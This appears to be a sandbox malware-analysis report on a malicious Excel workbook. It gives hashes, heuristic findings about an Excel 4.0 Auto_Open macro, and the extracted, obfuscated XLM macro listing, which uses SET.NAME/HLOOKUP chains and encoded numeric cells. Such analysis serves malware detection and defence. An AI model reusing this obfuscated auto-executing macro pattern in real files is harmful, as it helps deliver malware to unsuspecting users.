Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f487285d17aae208…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:09 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 3973e450e66f9de5d14ee02040acab10 SHA-1: e68f8e2ba87c7f013a408af3c970baf7c457efe0 SHA-256: f487285d17aae208ee9447f09fdc016d524019f6fd3b8d693301da49d40a0fca
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6622 bytes
SHA-256: f925dfa72efa6f384b6e5752b4b27958801604892dfb6bfdc09dc922e680e01c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CTpj
' 0018     22 LABEL : Cell Value, String Constant - AOQQdkF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B132 
' 0018     22 LABEL : Cell Value, String Constant - AvxifSn len=0 
' 0018     22 LABEL : Cell Value, String Constant - baiAyZO len=0 
' 0018     21 LABEL : Cell Value, String Constant - bnLHVo len=0 
' 0018     20 LABEL : Cell Value, String Constant - BZIip len=0 
' 0018     22 LABEL : Cell Value, String Constant - CvCQKwk len=0 
' 0018     21 LABEL : Cell Value, String Constant - IoEotP len=0 
' 0018     23 LABEL : Cell Value, String Constant - lLGYQHbr len=0 
' 0018     26 LABEL : Cell Value, String Constant - MdPCnhDpuRq len=0 
' 0018     21 LABEL : Cell Value, String Constant - NEOLnw len=0 
' 0018     21 LABEL : Cell Value, String Constant - pLRFAM len=0 
' 0018     21 LABEL : Cell Value, String Constant - PmnDRL len=0 
' 0018     25 LABEL : Cell Value, String Constant - qgcFJFWrTh len=0 
' 0018     25 LABEL : Cell Value, String Constant - qKPKMXudkj len=0 
' 0018     27 LABEL : Cell Value, String Constant - rbZnpYKFvIIz len=0 
' 0018     20 LABEL : Cell Value, String Constant - UWgsy len=0 
' 0018     25 LABEL : Cell Value, String Constant - wdcyzKrzJg len=0 
' 0018     25 LABEL : Cell Value, String Constant - xyRQjigDey len=0 
' 0018     27 LABEL : Cell Value, String Constant - zljchCrRaEKi len=0 
' 0018     24 LABEL : Cell Value, String Constant - zTaAHIpgR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CTpj,B43,"SET.NAME("zljchCrRaEKi",0+VALUE("0"))",""
'  CTpj,B45,"SET.NAME("BZIip",zljchCrRaEKi)",""
'  CTpj,B50,"SET.NAME("pLRFAM",zljchCrRaEKi)",""
'  CTpj,B52,"SET.NAME("qKPKMXudkj",COUNTA(NEOLnw))",""
'  CTpj,B56,"SET.NAME("qgcFJFWrTh",COUNTA(AOQQdkF))",""
'  CTpj,B58,[],""
'  CTpj,B61,"SET.NAME("MdPCnhDpuRq","")",""
'  CTpj,B63,"BZIip",""
'  CTpj,B66,"SET.NAME("bnLHVo",HLOOKUP("*",NEOLnw,BZIip,FALSE))",""
'  CTpj,B69,"wdcyzKrzJg",""
'  CTpj,B72,"SET.NAME("rbZnpYKFvIIz",zljchCrRaEKi)",""
'  CTpj,B77,[],""
'  CTpj,B80,"rbZnpYKFvIIz",""
'  CTpj,B85,"zTaAHIpgR",""
'  CTpj,B89,"lLGYQHbr",""
'  CTpj,B93,"xyRQjigDey",""
'  CTpj,B96,"SET.NAME("CvCQKwk",VALUE(HLOOKUP("*",AOQQdkF,xyRQjigDey,FALSE)))",""
'  CTpj,S99,"",-894.00000000000000000000
'  CTpj,B100,"PmnDRL",""
'  CTpj,S100,"",-691.00000000000000000000
'  CTpj,S101,"",652.00000000000000000000
'  CTpj,B102,"MdPCnhDpuRq",""
'  CTpj,S102,"",120.00000000000000000000
'  CTpj,S103,"",-762.00000000000000000000
'  CTpj,S104,"",34.00000000000000000000
'  CTpj,B106,"pLRFAM",""
'  CTpj,B111,NEXT(),""
'  CTpj,B115,"UWgsy",""
'  CTpj,B118,[],""
'  CTpj,B120,"baiAyZO",""
'  CTpj,B123,NEXT(),""
'  CTpj,B127,RETURN(),""
'  CTpj,B158,"SET.NAME("AvxifSn",B43)",""
'  CTpj,B161,"NEOLnw",""
'  CTpj,B164,"SET.NAME("AOQQdkF",R89C11)",""
'  CTpj,B168,"SET.NAME("baiAyZO",176)",""
'  CTpj,B173,"SET.NAME("IoEotP",2)",""
'  CTpj,B175,AvxifSn(),""
'  CTpj,B176,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.